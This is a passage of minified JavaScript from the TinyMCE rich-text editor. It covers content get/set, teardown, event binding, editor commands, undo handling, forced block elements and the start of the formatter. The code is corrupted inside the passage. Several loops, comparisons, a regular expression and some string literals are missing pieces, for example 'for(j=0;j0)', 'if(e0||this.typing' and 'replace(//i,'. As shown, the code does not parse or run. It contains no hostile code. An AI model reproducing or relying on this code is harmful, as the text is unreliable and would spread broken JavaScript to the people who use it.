    '}q.innerHTML=v;s.selection.select(q,true);s.selection.collapse(true);return}if(t.format!=="raw"){v=new n.html.Serializer({},s.schema).serialize(s.parser.parse(v))}t.content=n.trim(v);s.dom.setHTML(q,t.content);if(!t.no_events){s.onSetContent.dispatch(s,t)}s.selection.normalize();return t.content},getContent:function(r){var q=this,s;r=r||{};r.format=r.format||"html";r.get=true;if(!r.no_events){q.onBeforeGetContent.dispatch(q,r)}if(r.format=="raw"){s=q.getBody().innerHTML}else{s=q.serializer.serialize(q.getBody(),r)}r.content=n.trim(s);if(!r.no_events){q.onGetContent.dispatch(q,r)}return r.content},isDirty:function(){var q=this;return n.trim(q.startContent)!=n.trim(q.getContent({format:"raw",no_events:1}))&&!q.isNotDirty},getContainer:function(){var q=this;if(!q.container){q.container=o.get(q.editorContainer||q.id+"_parent")}return q.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return o.get(this.settings.content_element||this.id)},getWin:function(){var q=this,r;if(!q.contentWindow){r=o.get(q.id+"_ifr");if(r){q.contentWindow=r.contentWindow}}return q.contentWindow},getDoc:function(){var r=this,q;if(!r.contentDocument){q=r.getWin();if(q){r.contentDocument=q.document}}return r.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(q,y,x){var r=this,v=r.settings;if(v.urlconverter_callback){return r.execCallback("urlconverter_callback",q,x,true,y)}if(!v.convert_urls||(x&&x.nodeName=="LINK")||q.indexOf("file:")===0){return q}if(v.relative_urls){return r.documentBaseURI.toRelative(q)}q=r.documentBaseURI.toAbsolute(q,v.remove_script_host);return q},addVisual:function(u){var q=this,r=q.settings;u=u||q.getBody();if(!d(q.hasVisual)){q.hasVisual=r.visual}i(q.dom.select("table,a",u),function(t){var s;switch(t.nodeName){case"TABLE":s=q.dom.getAttrib(t,"border");if(!s||s=="0"){if(q.hasVisual){q.dom.addClass(t,r.visual_table_class)}else{q.dom.removeClass(t,r.visual_table_class)}}return;case"A":s=q.dom.getAttrib(t,"name");if(s){if(q.hasVisual){q.dom.addClass(t,"mceItemAnchor")}else{q.dom.removeClass(t,"mceItemAnchor")}}return}});q.onVisualAid.dispatch(q,u,q.hasVisual)},remove:function(){var q=this,r=q.getContainer();q.removed=1;q.hide();q.execCallback("remove_instance_callback",q);q.onRemove.dispatch(q);q.onExecCommand.listeners=[];n.remove(q);o.remove(r)},destroy:function(r){var q=this;if(q.destroyed){return}if(!r){n.removeUnload(q.destroy);tinyMCE.onBeforeUnload.remove(q._beforeUnload);if(q.theme&&q.theme.destroy){q.theme.destroy()}q.controlManager.destroy();q.selection.destroy();q.dom.destroy();if(!q.settings.content_editable){k.clear(q.getWin());k.clear(q.getDoc())}k.clear(q.getBody());k.clear(q.formElement)}if(q.formElement){q.formElement.submit=q.formElement._mceOldSubmit;q.formElement._mceOldSubmit=null}q.contentAreaContainer=q.formElement=q.container=q.settings.content_element=q.bodyElement=q.contentDocument=q.contentWindow=null;if(q.selection){q.selection=q.selection.win=q.selection.dom=q.selection.dom.doc=null}q.destroyed=1},_addEvents:function(){var D=this,u,E=D.settings,r=D.dom,y={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste"};function q(t,F){var s=t.type;if(D.removed){return}if(D.onEvent.dispatch(D,t,F)!==false){D[y[t.fakeType||t.type]].dispatch(D,t,F)}}i(y,function(t,s){switch(s){case"contextmenu":r.bind(D.getDoc(),s,q);break;case"paste":r.bind(D.getBody(),s,function(F){q(F)});break;case"submit":case"reset":r.bind(D.getElement().form||o.getParent(D.id,"form"),s,q);break;default:r.bind(E.content_editable?D.getBody():D.getDoc(),s,q)}});r.bind(E.content_editable?D.getBody():(a?D.getDoc():D.getWin()),"focus",function(s){D.focus(true)});if(n.isGecko){r.bind(D.getDoc(),"DOMNodeInserted",function(t){var s;t=t.target;if(t.nodeType===1&&t.nodeName==="IMG"&&(s=t.getAttribute("data-mce-src"))){t.src=D.documentBaseURI.toAbsolute(s)}})}if(a){function v(){var G=this,I=G.getDoc(),H=G.settings;if(a&&!H.readonly){G._refreshContentEditable();try{I.execCommand("styleWithCSS",0,false)}catch(F){if(!G._isHidden()){try{I.execCommand("useCSS",0,true)}catch(F){}}}if(!H.table_inline_editing){try{I.execCommand("enableInlineTableEditing",false,false)}catch(F){}}if(!H.object_resizing){try{I.execCommand("enableObjectResizing",false,false)}catch(F){}}}}D.onBeforeExecCommand.add(v);D.onMouseDown.add(v)}D.onMouseUp.add(D.nodeChanged);D.onKeyUp.add(function(s,t){var F=t.keyCode;if((F>=33&&F<=36)||(F>=37&&F<=40)||F==13||F==45||F==46||F==8||(n.isMac&&(F==91||F==93))||t.ctrlKey){D.nodeChanged()}});D.onKeyDown.add(function(t,F){if(F.keyCode!=j.BACKSPACE){return}var s=t.selection.getRng();if(!s.collapsed){return}var H=s.startContainer;var G=s.startOffset;while(H&&H.nodeType&&H.nodeType!=1&&H.parentNode){H=H.parentNode}if(H&&H.parentNode&&H.parentNode.tagName==="BLOCKQUOTE"&&H.parentNode.firstChild==H&&G==0){t.formatter.toggle("blockquote",null,H.parentNode);s.setStart(H,0);s.setEnd(H,0);t.selection.setRng(s);t.selection.collapse(false)}});D.onReset.add(function(){D.setContent(D.startContent,{format:"raw"})});if(E.custom_shortcuts){if(E.custom_undo_redo_keyboard_shortcuts){D.addShortcut("ctrl+z",D.getLang("undo_desc"),"Undo");D.addShortcut("ctrl+y",D.getLang("redo_desc"),"Redo")}D.addShortcut("ctrl+b",D.getLang("bold_desc"),"Bold");D.addShortcut("ctrl+i",D.getLang("italic_desc"),"Italic");D.addShortcut("ctrl+u",D.getLang("underline_desc"),"Underline");for(u=1;u<=6;u++){D.addShortcut("ctrl+"+u,"",["FormatBlock",false,"h"+u])}D.addShortcut("ctrl+7","",["FormatBlock",false,"p"]);D.addShortcut("ctrl+8","",["FormatBlock",false,"div"]);D.addShortcut("ctrl+9","",["FormatBlock",false,"address"]);function x(t){var s=null;if(!t.altKey&&!t.ctrlKey&&!t.metaKey){return s}i(D.shortcuts,function(F){if(n.isMac&&F.ctrl!=t.metaKey){return}else{if(!n.isMac&&F.ctrl!=t.ctrlKey){return}}if(F.alt!=t.altKey){return}if(F.shift!=t.shiftKey){return}if(t.keyCode==F.keyCode||(t.charCode&&t.charCode==F.charCode)){s=F;return false}});return s}D.onKeyUp.add(function(s,t){var F=x(t);if(F){return k.cancel(t)}});D.onKeyPress.add(function(s,t){var F=x(t);if(F){return k.cancel(t)}});D.onKeyDown.add(function(s,t){var F=x(t);if(F){F.func.call(F.scope);return k.cancel(t)}})}if(n.isIE){r.bind(D.getDoc(),"controlselect",function(F){var t=D.resizeInfo,s;F=F.target;if(F.nodeName!=="IMG"){return}if(t){r.unbind(t.node,t.ev,t.cb)}if(!r.hasClass(F,"mceItemNoResize")){ev="resizeend";s=r.bind(F,ev,function(H){var G;H=H.target;if(G=r.getStyle(H,"width")){r.setAttrib(H,"width",G.replace(/[^0-9%]+/g,""));r.setStyle(H,"width","")}if(G=r.getStyle(H,"height")){r.setAttrib(H,"height",G.replace(/[^0-9%]+/g,""));r.setStyle(H,"height","")}})}else{ev="resizestart";s=r.bind(F,"resizestart",k.cancel,k)}t=D.resizeInfo={node:F,ev:ev,cb:s}})}if(n.isOpera){D.onClick.add(function(s,t){k.prevent(t)})}if(E.custom_undo_redo){function A(){D.undoManager.typing=false;D.undoManager.add()}var z=n.isGecko?"blur":"focusout";r.bind(D.getDoc(),z,function(s){if(!D.removed&&D.undoManager.typing){A()}});D.dom.bind(D.dom.getRoot(),"dragend",function(s){A()});D.onKeyUp.add(function(s,F){var t=F.keyCode;if((t>=33&&t<=36)||(t>=37&&t<=40)||t==13||t==45||F.ctrlKey){A()}});D.onKeyDown.add(function(s,G){var F=G.keyCode,t;if(F==8){t=D.getDoc().selection;if(t&&t.createRange&&t.createRange().item){D.undoManager.beforeChange();s.dom.remove(t.createRange().item(0));A();return k.cancel(G)}}if((F>=33&&F<=36)||(F>=37&&F<=40)||F==13||F==45){if(n.isIE&&F==13){D.undoManager.beforeChange()}if(D.undoManager.typing){A()}return}if((F<16||F>20)&&F!=224&&F!=91&&!D.undoManager.typing){D.undoManager.beforeChange();D.undoManager.typing=true;D.undoManager.add()}});D.onMouseDown.add(function(){if(D.undoManager.typing){A()}})}if(n.isGecko){function C(){var s=D.dom.getAttribs(D.selection.getStart().cloneNode(false));return function(){var t=D.selection.getStart();if(t!==D.getBody()){D.dom.setAttrib(t,"style",null);i(s,function(F){t.setAttributeNode(F.cloneNode(true))})}}}function B(){var t=D.selection;return !t.isCollapsed()&&t.getStart()!=t.getEnd()}D.onKeyPress.add(function(s,F){var t;if((F.keyCode==8||F.keyCode==46)&&B()){t=C();D.getDoc().execCommand("delete",false,null);t();return k.cancel(F)}});D.dom.bind(D.getDoc(),"cut",function(t){var s;if(B()){s=C();D.onKeyUp.addToTop(k.cancel,k);setTimeout(function(){s();D.onKeyUp.remove(k.cancel,k)},0)}})}},_refreshContentEditable:function(){var r=this,q,s;if(r._isHidden()){q=r.getBody();s=q.parentNode;s.removeChild(q);s.appendChild(q);q.focus()}},_isHidden:function(){var q;if(!a){return 0}q=this.selection.getSel();return(!q||!q.rangeCount||q.rangeCount==0)}})})(tinymce);(function(c){var d=c.each,e,a=true,b=false;c.EditorCommands=function(n){var m=n.dom,p=n.selection,j={state:{},exec:{},value:{}},k=n.settings,q=n.formatter,o;function r(z,y,x){var v;z=z.toLowerCase();if(v=j.exec[z]){v(z,y,x);return a}return b}function l(x){var v;x=x.toLowerCase();if(v=j.state[x]){return v(x)}return -1}function h(x){var v;x=x.toLowerCase();if(v=j.value[x]){return v(x)}return b}function u(v,x){x=x||"exec";d(v,function(z,y){d(y.toLowerCase().split(","),function(A){j[x][A]=z})})}c.extend(this,{execCommand:r,queryCommandState:l,queryCommandValue:h,addCommands:u});function f(y,x,v){if(x===e){x=b}if(v===e){v=null}return n.getDoc().execCommand(y,x,v)}function t(v){return q.match(v)}function s(v,x){q.toggle(v,x?{value:x}:e)}function i(v){o=p.getBookmark(v)}function g(){p.moveToBookmark(o)}u({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){n.undoManager.add()},"Cut,Copy,Paste":function(z){var y=n.getDoc(),v;try{f(z)}catch(x){v=a}if(v||!y.queryCommandSupported(z)){if(c.isGecko){n.windowManager.confirm(n.getLang("clipboard_msg"),function(A){if(A){open("http://www.mozilla.org/editor/midasdemo/securityprefs.html","_blank")}})}else{n.windowManager.alert(n.getLang("clipboard_no_support"))}}},unlink:function(v){if(p.isCollapsed()){p.select(p.getNode())}f(v);p.collapse(b)},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(v){var x=v.substring(7);d("left,center,right,full".split(","),function(y){if(x!=y){q.remove("align"+y)}});s("align"+x);r("mceRepaint")},"InsertUnorderedList,InsertOrderedList":function(y){var v,x;f(y);v=m.getParent(p.getNode(),"ol,ul");if(v){x=v.parentNode;if(/^(H[1-6]|P|ADDRESS|PRE)$/.test(x.nodeName)){i();m.split(x,v);g()}}},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(v){s(v)},"ForeColor,HiliteColor,FontName":function(y,x,v){s(y,v)},FontSize:function(z,y,x){var v,A;if(x>=1&&x<=7){A=c.explode(k.font_size_style_values);v=c.explode(k.font_size_classes);if(v){x=v[x-1]||x}else{x=A[x-1]||x}}s(z,x)},RemoveFormat:function(v){q.remove(v)},mceBlockQuote:function(v){s("blockquote")},FormatBlock:function(y,x,v){return s(v||"p")},mceCleanup:function(){var v=p.getBookmark();n.setContent(n.getContent({cleanup:a}),{cleanup:a});p.moveToBookmark(v)},mceRemoveNode:function(z,y,x){var v=x||p.getNode();if(v!=n.getBody()){i();n.dom.remove(v,a);g()}},mceSelectNodeDepth:function(z,y,x){var v=0;m.getParent(p.getNode(),function(A){if(A.nodeType==1&&v++==x){p.select(A);return b}},n.getBody())},mceSelectNode:function(y,x,v){p.select(v)},mceInsertContent:function(B,I,K){var y,J,E,z,F,G,D,C,L,x,A,M,v,H;y=n.parser;J=new c.html.Serializer({},n.schema);v='\uFEFF';G={content:K,format:"html"};p.onBeforeSetContent.dispatch(p,G);K=G.content;if(K.indexOf("{$caret}")==-1){K+="{$caret}"}K=K.replace(/\{\$caret\}/,v);if(!p.isCollapsed()){n.getDoc().execCommand("Delete",false,null)}E=p.getNode();G={context:E.nodeName.toLowerCase()};F=y.parse(K,G);A=F.lastChild;if(A.attr("id")=="mce_marker"){D=A;for(A=A.prev;A;A=A.walk(true)){if(A.type==3||!m.isBlock(A.name)){A.parent.insert(D,A,A.name==="br");break}}}if(!G.invalid){K=J.serialize(F);A=E.firstChild;M=E.lastChild;if(!A||(A===M&&A.nodeName==="BR")){m.setHTML(E,K)}else{p.setContent(K)}}else{p.setContent(v);E=n.selection.getNode();z=n.getBody();if(E.nodeType==9){E=A=z}else{A=E}while(A!==z){E=A;A=A.parentNode}K=E==z?z.innerHTML:m.getOuterHTML(E);K=J.serialize(y.parse(K.replace(//i,function(){return J.serialize(F)})));if(E==z){m.setHTML(z,K)}else{m.setOuterHTML(E,K)}}D=m.get("mce_marker");C=m.getRect(D);L=m.getViewPort(n.getWin());if((C.y+C.h>L.y+L.h||C.yL.x+L.w||C.x")},mceToggleVisualAid:function(){n.hasVisual=!n.hasVisual;n.addVisual()},mceReplaceContent:function(y,x,v){n.execCommand("mceInsertContent",false,v.replace(/\{\$selection\}/g,p.getContent({format:"text"})))},mceInsertLink:function(z,y,x){var v;if(typeof(x)=="string"){x={href:x}}v=m.getParent(p.getNode(),"a");x.href=x.href.replace(" ","%20");if(!v||!x.href){q.remove("link")}if(x.href){q.apply("link",x,v)}},selectAll:function(){var x=m.getRoot(),v=m.createRng();v.setStart(x,0);v.setEnd(x,x.childNodes.length);n.selection.setRng(v)}});u({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(z){var x="align"+z.substring(7);var v=p.isCollapsed()?[p.getNode()]:p.getSelectedBlocks();var y=c.map(v,function(A){return !!q.matchNode(A,x)});return c.inArray(y,a)!==-1},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(v){return t(v)},mceBlockQuote:function(){return t("blockquote")},Outdent:function(){var v;if(k.inline_styles){if((v=m.getParent(p.getStart(),m.isBlock))&&parseInt(v.style.paddingLeft)>0){return a}if((v=m.getParent(p.getEnd(),m.isBlock))&&parseInt(v.style.paddingLeft)>0){return a}}return l("InsertUnorderedList")||l("InsertOrderedList")||(!k.inline_styles&&!!m.getParent(p.getNode(),"BLOCKQUOTE"))},"InsertUnorderedList,InsertOrderedList":function(v){return m.getParent(p.getNode(),v=="insertunorderedlist"?"UL":"OL")}},"state");u({"FontSize,FontName":function(y){var x=0,v;if(v=m.getParent(p.getNode(),"span")){if(y=="fontsize"){x=v.style.fontSize}else{x=v.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()}}return x}},"value");if(k.custom_undo_redo){u({Undo:function(){n.undoManager.undo()},Redo:function(){n.undoManager.redo()}})}}})(tinymce);(function(b){var a=b.util.Dispatcher;b.UndoManager=function(f){var d,e=0,h=[],c;function g(){return b.trim(f.getContent({format:"raw",no_events:1}))}return d={typing:false,onAdd:new a(d),onUndo:new a(d),onRedo:new a(d),beforeChange:function(){c=f.selection.getBookmark(2,true)},add:function(m){var j,k=f.settings,l;m=m||{};m.content=g();l=h[e];if(l&&l.content==m.content){return null}if(h[e]){h[e].beforeBookmark=c}if(k.custom_undo_redo_levels){if(h.length>k.custom_undo_redo_levels){for(j=0;j0){k=h[--e];f.setContent(k.content,{format:"raw"});f.selection.moveToBookmark(k.beforeBookmark);d.onUndo.dispatch(d,k)}return k},redo:function(){var i;if(e0||this.typing},hasRedo:function(){return e');q.replace(p,m);o.select(p,1)}return g}return d}l.create("tinymce.ForceBlocks",{ForceBlocks:function(m){var n=this,o=m.settings,p;n.editor=m;n.dom=m.dom;p=(o.forced_root_block||"p").toLowerCase();o.element=p.toUpperCase();m.onPreInit.add(n.setup,n)},setup:function(){var n=this,m=n.editor,p=m.settings,u=m.dom,o=m.selection,q=m.schema.getBlockElements();if(p.forced_root_block){function v(){var y=o.getStart(),t=m.getBody(),s,z,D,F,E,x,A,B=-16777215;if(!y||y.nodeType!==1){return}while(y!=t){if(q[y.nodeName]){return}y=y.parentNode}s=o.getRng();if(s.setStart){z=s.startContainer;D=s.startOffset;F=s.endContainer;E=s.endOffset}else{if(s.item){s=m.getDoc().body.createTextRange();s.moveToElementText(s.item(0))}tmpRng=s.duplicate();tmpRng.collapse(true);D=tmpRng.move("character",B)*-1;if(!tmpRng.collapsed){tmpRng=s.duplicate();tmpRng.collapse(false);E=(tmpRng.move("character",B)*-1)-D}}for(y=t.firstChild;y;y){if(y.nodeType===3||(y.nodeType==1&&!q[y.nodeName])){if(!x){x=u.create(p.forced_root_block);y.parentNode.insertBefore(x,y)}A=y;y=y.nextSibling;x.appendChild(A)}else{x=null;y=y.nextSibling}}if(s.setStart){s.setStart(z,D);s.setEnd(F,E);o.setRng(s)}else{try{s=m.getDoc().body.createTextRange();s.moveToElementText(t);s.collapse(true);s.moveStart("character",D);if(E>0){s.moveEnd("character",E)}s.select()}catch(C){}}m.nodeChanged()}m.onKeyUp.add(v);m.onClick.add(v)}if(p.force_br_newlines){if(c){m.onKeyPress.add(function(s,t){var x;if(t.keyCode==13&&o.getNode().nodeName!="LI"){o.setContent('
    ',{format:"raw"});x=u.get("__");x.removeAttribute("id");o.select(x);o.collapse();return j.cancel(t)}})}}if(p.force_p_newlines){if(!c){m.onKeyPress.add(function(s,t){if(t.keyCode==13&&!t.shiftKey&&!n.insertPara(t)){j.cancel(t)}})}else{l.addUnload(function(){n._previousFormats=0});m.onKeyPress.add(function(s,t){n._previousFormats=0;if(t.keyCode==13&&!t.shiftKey&&s.selection.isCollapsed()&&p.keep_styles){n._previousFormats=k(s.selection.getStart())}});m.onKeyUp.add(function(t,y){if(y.keyCode==13&&!y.shiftKey){var x=t.selection.getStart(),s=n._previousFormats;if(!x.hasChildNodes()&&s){x=u.getParent(x,u.isBlock);if(x&&x.nodeName!="LI"){x.innerHTML="";if(n._previousFormats){x.appendChild(s.wrapper);s.inner.innerHTML="\uFEFF"}else{x.innerHTML="\uFEFF"}o.select(x,1);o.collapse(true);t.getDoc().execCommand("Delete",false,null);n._previousFormats=0}}}})}if(a){m.onKeyDown.add(function(s,t){if((t.keyCode==8||t.keyCode==46)&&!t.shiftKey){n.backspaceDelete(t,t.keyCode==8)}})}}if(l.isWebKit){function r(t){var s=o.getRng(),x,A=u.create("div",null," "),z,y=u.getViewPort(t.getWin()).h;s.insertNode(x=u.create("br"));s.setStartAfter(x);s.setEndAfter(x);o.setRng(s);if(o.getSel().focusNode==x.previousSibling){o.select(u.insertAfter(u.doc.createTextNode("\u00a0"),x));o.collapse(d)}u.insertAfter(A,x);z=u.getPos(A).y;u.remove(A);if(z>y){t.getWin().scrollTo(0,z)}}m.onKeyPress.add(function(s,t){if(t.keyCode==13&&(t.shiftKey||(p.force_br_newlines&&!u.getParent(o.getNode(),"h1,h2,h3,h4,h5,h6,ol,ul")))){r(s);j.cancel(t)}})}if(c){if(p.element!="P"){m.onKeyPress.add(function(s,t){n.lastElm=o.getNode().nodeName});m.onKeyUp.add(function(t,x){var z,y=o.getNode(),s=t.getBody();if(s.childNodes.length===1&&y.nodeName=="P"){y=u.rename(y,p.element);o.select(y);o.collapse();t.nodeChanged()}else{if(x.keyCode==13&&!x.shiftKey&&n.lastElm!="P"){z=u.getParent(y,"p");if(z){u.rename(z,p.element);t.nodeChanged()}}}})}}},getParentBlock:function(o){var m=this.dom;return m.getParent(o,m.isBlock)},insertPara:function(Q){var E=this,v=E.editor,M=v.dom,R=v.getDoc(),V=v.settings,F=v.selection.getSel(),G=F.getRangeAt(0),U=R.body;var J,K,H,O,N,q,o,u,z,m,C,T,p,x,I,L=M.getViewPort(v.getWin()),B,D,A;v.undoManager.beforeChange();J=R.createRange();J.setStart(F.anchorNode,F.anchorOffset);J.collapse(d);K=R.createRange();K.setStart(F.focusNode,F.focusOffset);K.collapse(d);H=J.compareBoundaryPoints(J.START_TO_END,K)<0;O=H?F.anchorNode:F.focusNode;N=H?F.anchorOffset:F.focusOffset;q=H?F.focusNode:F.anchorNode;o=H?F.focusOffset:F.anchorOffset;if(O===q&&/^(TD|TH)$/.test(O.nodeName)){if(O.firstChild.nodeName=="BR"){M.remove(O.firstChild)}if(O.childNodes.length==0){v.dom.add(O,V.element,null,"
    ");T=v.dom.add(O,V.element,null,"
    ")}else{I=O.innerHTML;O.innerHTML="";v.dom.add(O,V.element,null,I);T=v.dom.add(O,V.element,null,"
    ")}G=R.createRange();G.selectNodeContents(T);G.collapse(1);v.selection.setRng(G);return g}if(O==U&&q==U&&U.firstChild&&v.dom.isBlock(U.firstChild)){O=q=O.firstChild;N=o=0;J=R.createRange();J.setStart(O,0);K=R.createRange();K.setStart(q,0)}if(!R.body.hasChildNodes()){R.body.appendChild(M.create("br"))}O=O.nodeName=="HTML"?R.body:O;O=O.nodeName=="BODY"?O.firstChild:O;q=q.nodeName=="HTML"?R.body:q;q=q.nodeName=="BODY"?q.firstChild:q;u=E.getParentBlock(O);z=E.getParentBlock(q);m=u?u.nodeName:V.element;if(I=E.dom.getParent(u,"li,pre")){if(I.nodeName=="LI"){return e(v.selection,E.dom,I)}return d}if(u&&(u.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(M.getStyle(u,"position",1)))){m=V.element;u=null}if(z&&(z.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(M.getStyle(u,"position",1)))){m=V.element;z=null}if(/(TD|TABLE|TH|CAPTION)/.test(m)||(u&&m=="DIV"&&/left|right/gi.test(M.getStyle(u,"float",1)))){m=V.element;u=z=null}C=(u&&u.nodeName==m)?u.cloneNode(0):v.dom.create(m);T=(z&&z.nodeName==m)?z.cloneNode(0):v.dom.create(m);T.removeAttribute("id");if(/^(H[1-6])$/.test(m)&&f(G,u)){T=v.dom.create(V.element)}I=p=O;do{if(I==U||I.nodeType==9||E.dom.isBlock(I)||/(TD|TABLE|TH|CAPTION)/.test(I.nodeName)){break}p=I}while((I=I.previousSibling?I.previousSibling:I.parentNode));I=x=q;do{if(I==U||I.nodeType==9||E.dom.isBlock(I)||/(TD|TABLE|TH|CAPTION)/.test(I.nodeName)){break}x=I}while((I=I.nextSibling?I.nextSibling:I.parentNode));if(p.nodeName==m){J.setStart(p,0)}else{J.setStartBefore(p)}J.setEnd(O,N);C.appendChild(J.cloneContents()||R.createTextNode(""));try{K.setEndAfter(x)}catch(P){}K.setStart(q,o);T.appendChild(K.cloneContents()||R.createTextNode(""));G=R.createRange();if(!p.previousSibling&&p.parentNode.nodeName==m){G.setStartBefore(p.parentNode)}else{if(J.startContainer.nodeName==m&&J.startOffset==0){G.setStartBefore(J.startContainer)}else{G.setStart(J.startContainer,J.startOffset)}}if(!x.nextSibling&&x.parentNode.nodeName==m){G.setEndAfter(x.parentNode)}else{G.setEnd(K.endContainer,K.endOffset)}G.deleteContents();if(b){v.getWin().scrollTo(0,L.y)}if(C.firstChild&&C.firstChild.nodeName==m){C.innerHTML=C.firstChild.innerHTML}if(T.firstChild&&T.firstChild.nodeName==m){T.innerHTML=T.firstChild.innerHTML}function S(y,s){var r=[],X,W,t;y.innerHTML="";if(V.keep_styles){W=s;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(W.nodeName)){X=W.cloneNode(g);M.setAttrib(X,"id","");r.push(X)}}while(W=W.parentNode)}if(r.length>0){for(t=r.length-1,X=y;t>=0;t--){X=X.appendChild(r[t])}r[0].innerHTML=b?"\u00a0":"
    ";return r[0]}else{y.innerHTML=b?"\u00a0":"
    "}}if(M.isEmpty(C)){S(C,O)}if(M.isEmpty(T)){A=S(T,q)}if(b&&parseFloat(opera.version())<9.5){G.insertNode(C);G.insertNode(T)}else{G.insertNode(T);G.insertNode(C)}T.normalize();C.normalize();v.selection.select(T,true);v.selection.collapse(true);B=v.dom.getPos(T).y;if(BL.y+L.h){v.getWin().scrollTo(0,B1||ab==at){return ab}}}var al=V.selection.getRng();var ap=al.startContainer;var ak=al.endContainer;if(ap!=ak&&al.endOffset==0){var ao=am(ap,ak);var an=ao.nodeType==3?ao.length:ao.childNodes.length;al.setEnd(ao,an)}return al}function Y(an,at,aq,ap,al){var ak=[],am=-1,ar,av=-1,ao=-1,au;P(an.childNodes,function(ax,aw){if(ax.nodeName==="UL"||ax.nodeName==="OL"){am=aw;ar=ax;return false}});P(an.childNodes,function(ax,aw){if(ax.nodeName==="SPAN"&&c.getAttrib(ax,"data-mce-type")=="bookmark"){if(ax.id==at.id+"_start"){av=aw}else{if(ax.id==at.id+"_end"){ao=aw}}}});if(am<=0||(avam)){P(a.grep(an.childNodes),al);return 0}else{au=aq.cloneNode(S);P(a.grep(an.childNodes),function(ax,aw){if((avam&&aw>am)){ak.push(ax);ax.parentNode.removeChild(ax)}});if(avam){an.insertBefore(au,ar.nextSibling)}}ap.push(au);P(ak,function(aw){au.appendChild(aw)});return au}}function ai(al,an,ap){var ak=[],ao,am;ao=ah.inline||ah.block;am=c.create(ao);W(am);K.walk(al,function(aq){var ar;function at(au){var ax=au.nodeName.toLowerCase(),aw=au.parentNode.nodeName.toLowerCase(),av;if(g(ax,"br")){ar=0;if(ah.block){c.remove(au)}return}if(ah.wrapper&&x(au,Z,ag)){ar=0;return}if(ah.block&&!ah.wrapper&&G(ax)){au=c.rename(au,ao);W(au);ak.push(au);ar=0;return}if(ah.selector){P(ac,function(ay){if("collapsed" in ay&&ay.collapsed!==ad){return}if(c.is(au,ay.selector)&&!b(au)){W(au,ay);av=true}});if(!ah.inline||av){ar=0;return}}if(d(ao,ax)&&d(aw,ao)&&!(!ap&&au.nodeType===3&&au.nodeValue.length===1&&au.nodeValue.charCodeAt(0)===65279)&&!b(au)){if(!ar){ar=am.cloneNode(S);au.parentNode.insertBefore(ar,au);ak.push(ar)}ar.appendChild(au)}else{if(ax=="li"&&an){ar=Y(au,an,am,ak,at)}else{ar=0;P(a.grep(au.childNodes),at);ar=0}}}P(aq,at)});if(ah.wrap_links===false){P(ak,function(aq){function ar(aw){var av,au,at;if(aw.nodeName==="A"){au=am.cloneNode(S);ak.push(au);at=a.grep(aw.childNodes);for(av=0;av1||!F(at))&&aq===0){c.remove(at,1);return}if(ah.inline||ah.wrapper){if(!ah.exact&&aq===1){at=ar(at)}P(ac,function(av){P(c.select(av.inline,at),function(ax){var aw;if(av.wrap_links===false){aw=ax.parentNode;do{if(aw.nodeName==="A"){return}}while(aw=aw.parentNode)}U(av,ag,ax,av.exact?ax:null)})});if(x(at.parentNode,Z,ag)){c.remove(at,1);at=0;return B}if(ah.merge_with_parents){c.getParent(at.parentNode,function(av){if(x(av,Z,ag)){c.remove(at,1);at=0;return B}})}if(at&&ah.merge_siblings!==false){at=u(C(at),at);at=u(at,C(at,B))}}})}if(ah){if(ab){if(ab.nodeType){X=c.createRng();X.setStartBefore(ab);X.setEndAfter(ab);ai(o(X,ac),null,true)}else{ai(ab,null,true)}}else{if(!ad||!ah.inline||c.select("td.mceSelected,th.mceSelected").length){var aj=V.selection.getNode();V.selection.setRng(aa());af=q.getBookmark();ai(o(q.getRng(B),ac),af);if(ah.styles&&(ah.styles.color||ah.styles.textDecoration)){a.walk(aj,I,"childNodes");I(aj)}q.moveToBookmark(af);N(q.getRng(B));V.nodeChanged()}else{Q("apply",Z,ag)}}}}function A(Y,ag,aa){var ab=R(Y),ai=ab[0],af,ae,X;function Z(an){var am,al,ak;am=a.grep(an.childNodes);for(al=0,ak=ab.length;al=0;X--){W=ac[X].selector;if(!W){return B}for(ab=Y.length-1;ab>=0;ab--){if(c.is(Y[ab],W)){return B}}}}return S}a.extend(this,{get:R,register:k,apply:T,remove:A,toggle:D,match:j,matchAll:v,matchNode:x,canApply:y});function h(W,X){if(g(W,X.inline)){return B}if(g(W,X.block)){return B}if(X.selector){return c.is(W,X.selector)}}function g(X,W){X=X||"";W=W||"";X=""+(X.nodeName||X);W=""+(W.nodeName||W);return X.toLowerCase()==W.toLowerCase()}function L(X,W){var Y=c.getStyle(X,W);if(W=="color"||W=="backgroundColor"){Y=c.toHex(Y)}if(W=="fontWeight"&&Y==700){Y="bold"}return""+Y}function r(W,X){if(typeof(W)!="string"){W=W(X)}else{if(X){W=W.replace(/%(\w+)/g,function(Z,Y){return X[Y]||Z})}}return W}function f(W){return W&&W.nodeType===3&&/^([\t \r\n]+|)$/.test(W.nodeValue)}function O(Y,X,W){var Z=c.create(X,W);Y.parentNode.insertBefore(Z,Y);Z.appendChild(Y);return Z}function o(W,ai,Z){var Y=W.startContainer,ad=W.startOffset,al=W.endContainer,af=W.endOffset,ak,ah,ac,ag;function aj(ar){var 